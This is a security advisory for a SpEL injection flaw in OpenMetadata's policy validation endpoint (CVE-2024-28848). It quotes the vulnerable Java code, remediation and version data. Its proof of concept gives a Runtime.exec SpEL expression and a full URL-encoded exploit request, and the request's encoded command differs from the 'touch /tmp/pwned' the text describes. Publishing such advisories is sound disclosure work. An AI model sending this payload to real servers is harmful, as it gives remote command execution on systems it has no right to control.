High

OpenMetadata vulnerable to a SpEL Injection in `GET /api/v1/policies/validation/condition/<expr>` (`GHSL-2023-236`)

  • Disclosed: 24.04.2024
  • Updated: 11.10.2026 13:19

SpEL Injection in GET /api/v1/policies/validation/condition/<expr> (GHSL-2023-236)

Please note, only authenticated users have access to PUT / POST APIS for /api/v1/policies. Non authenticated users will not be able to access these APIs to exploit the vulnerability. A user must exist in OpenMetadata and have authenticated themselves to exploit this vulnerability.

The ‎CompiledRule::validateExpression method evaluates an SpEL expression using an StandardEvaluationContext, allowing the expression to reach and interact with Java classes such as java.lang.Runtime, leading to Remote Code Execution. The /api/v1/policies/validation/condition/<expression> endpoint passes user-controlled data CompiledRule::validateExpession allowing authenticated (non-admin) users to execute arbitrary system commands on the underlaying operating system.

Snippet from PolicyResource.java

java
  @GET
  @Path("/validation/condition/{expression}")
  @Operation(
      operationId = "validateCondition",
      summary = "Validate a given condition",
      description = "Validate a given condition expression used in authoring rules.",
      responses = {
        @ApiResponse(responseCode = "204", description = "No value is returned"),
        @ApiResponse(responseCode = "400", description = "Invalid expression")
      })
  public void validateCondition(
      @Context UriInfo uriInfo,
      @Context SecurityContext securityContext,
      @Parameter(description = "Expression of validating rule", schema = @Schema(type = "string"))
          @PathParam("expression")
          String expression) {
    CompiledRule.validateExpression(expression, Boolean.class);
  }
java
  public static <T> void validateExpression(String condition, Class<T> clz) {
    if (condition == null) {
      return;
    }
    Expression expression = parseExpression(condition);
    RuleEvaluator ruleEvaluator = new RuleEvaluator();
    StandardEvaluationContext evaluationContext = new StandardEvaluationContext(ruleEvaluator);
    try {
      expression.getValue(evaluationContext, clz);
    } catch (Exception exception) {
      // Remove unnecessary class details in the exception message
      String message = exception.getMessage().replaceAll("on type .*$", "").replaceAll("on object .*$", "");
      throw new IllegalArgumentException(CatalogExceptionMessage.failedToEvaluate(message));
    }
  }

In addition, there is a missing authorization check since Authorizer.authorize() is never called in the affected path and therefore any authenticated non-admin user is able to trigger this endpoint and evaluate arbitrary SpEL expressions leading to arbitrary command execution.

This vulnerability was discovered with the help of CodeQL's Expression language injection (Spring) query.

Proof of concept

  • Prepare the payload
    • Encode touch /tmp/pwned in Base64 => dG91Y2ggL3RtcC9wd25lZA==
    • SpEL expression to run system command: T(java.lang.Runtime).getRuntime().exec(new java.lang.String(T(java.util.Base64).getDecoder().decode("dG91Y2ggL3RtcC9wd25lZA==")))
    • Encode the payload using URL encoding:
%54%28%6a%61%76%61%2e%6c%61%6e%67%2e%52%75%6e%74%69%6d%65%29%2e%67%65%74%52%75%6e%74%69%6d%65%28%29%2e%65%78%65%63%28%6e%65%77%20%6a%61%76%61%2e%6c%61%6e%67%2e%53%74%72%69%6e%67%28%54%28%6a%61%76%61%2e%75%74%69%6c%2e%42%61%73%65%36%34%29%2e%67%65%74%44%65%63%6f%64%65%72%28%29%2e%64%65%63%6f%64%65%28%22%64%47%39%31%59%32%67%67%4c%33%52%74%63%43%39%77%64%32%35%6c%5a%41%3d%3d%22%29%29%29
  • Send the payload using a valid JWT token:
http
GET /api/v1/policies/validation/condition/%54%28%6a%61%76%61%2e%6c%61%6e%67%2e%52%75%6e%74%69%6d%65%29%2e%67%65%74%52%75%6e%74%69%6d%65%28%29%2e%65%78%65%63%28%6e%65%77%20%6a%61%76%61%2e%6c%61%6e%67%2e%53%74%72%69%6e%67%28%54%28%6a%61%76%61%2e%75%74%69%6c%2e%42%61%73%65%36%34%29%2e%67%65%74%44%65%63%6f%64%65%72%28%29%2e%64%65%63%6f%64%65%28%22%62%6e%4e%73%62%32%39%72%64%58%41%67%61%58%70%73%4e%7a%45%33%62%33%42%69%62%57%52%79%5a%57%46%6f%61%33%4a%6f%63%44%4e%72%63%32%70%72%61%47%4a%75%4d%6d%4a%7a%65%6d%67%75%62%32%46%7a%64%47%6c%6d%65%53%35%6a%62%32%30%3d%22%29%29%29 HTTP/2
Host: sandbox.open-metadata.org
Authorization: Bearer <non-admin JWT>
  • Verify that a file called /tmp/pwned was created in the OpenMetadata server

Impact

This issue may lead to Remote Code Execution by a registered and authenticated user.

Remediation

Use SimpleEvaluationContext to exclude references to Java types, constructors, and bean references.

Affected software

Click a technology to see all vulnerabilities affecting it.

PlatformPackageVulnerable versionsFixed in
Java / Kotlin (Maven) org.open-metadata:openmetadata-service < 1.2.4 1.2.4

References

CVSS score 8.8/10
CVSS vector
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
Weakness (CWE)
CWE-94
Platform
Java / Kotlin (Maven)
Package
org.open-metadata:openmetadata-service
Disclosed
24.04.2024
Updated
11.10.2026 13:19

Sources and licenses

OSV / GitHub Advisory Database - GHSA-5xv3-fm7g-865r - CC BY 4.0

Vulnerability history: org.open-metadata:openmetadata-service

All published vulnerabilities of this package (Java / Kotlin (Maven)), newest first. Shows whether this is a one-off slip or a package that needs watching.

Total entries
5
First → latest
04.2024 05.2026
Without a fix
1
Exploited in attacks
0

Severity breakdown

  • Critical 1
  • High 4

Disclosures per year

  1. 2024: 3
  2. 2025: 1
  3. 2026: 1
  1. High · 7.1 CVE-2024-55238 <= 1.4.1 no fix
  2. OpenMetadata vulnerable to a SpEL Injection in `GET /api/v1/policies/validation/condition/<expr>` (`GHSL-2023-236`) this entry
    High · 8.8 CVE-2024-28848 < 1.2.4 1.2.4

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